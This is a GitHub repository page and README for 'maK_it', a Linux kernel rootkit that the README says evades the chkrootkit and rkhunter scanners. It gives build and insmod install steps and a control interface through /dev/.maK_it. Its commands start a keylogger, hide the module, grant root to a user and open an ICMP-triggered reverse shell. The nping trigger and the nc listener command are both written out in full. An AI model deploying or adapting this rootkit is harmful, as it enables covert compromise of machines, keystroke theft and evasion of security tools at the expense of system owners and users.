This is a linux rootkit using many of the techniques described on
C Shell Makefile
Switch branches/tags
Nothing to show
Clone or download
maK- Merge pull request #1 from fnugroho/patch-1
removing asm/system.h library :)
Latest commit 09e2dee Sep 17, 2016
Failed to load latest commit information.
scripts First draft... Jun 3, 2014
shells First draft... Jun 3, 2014
LICENSE Initial commit May 26, 2014
Makefile First draft... Jun 3, 2014 Update Mar 2, 2015
template.c removing asm/system.h library :) Sep 17, 2016



This is a simple rootkit implementation for the project described at the following location

This rootkit avoids both the chkrootkit & rkhunter scanners as intended.

It is fully compatible with the latest version of CentOS 6.5

To run simply run "make" in the folder with the Makefile.

install with insmod maK_it.ko

Remove with rmmod maK_it

=============== Demo Commands

Echo any of the following into /dev/.maK_it

debug - turn /var/log/messages debug messages on or off.

keyLogOn - turn the keylogger on

keyLogOff - turn the keylogger off

modHide - hide the module (hidden by default in insmod)

modReveal - reveal the module (so you can rmmod it)

rootMe - give root privileges to user

shellUp - Turn on a packet sniffer for reverse shell icmp

shellDown - Turn off the packet sniffer daemon

To trigger the reverse shell, listen on a port of your choice on your own machine. The shell will be returned if you send an icmp packet with the right trigger word, your ip/port.

Example: nping --icmp -c 1 -dest-ip --data-string 'maK_it_$H3LL 31337'

A port listener can be simply opened on your machine using nc -l 31337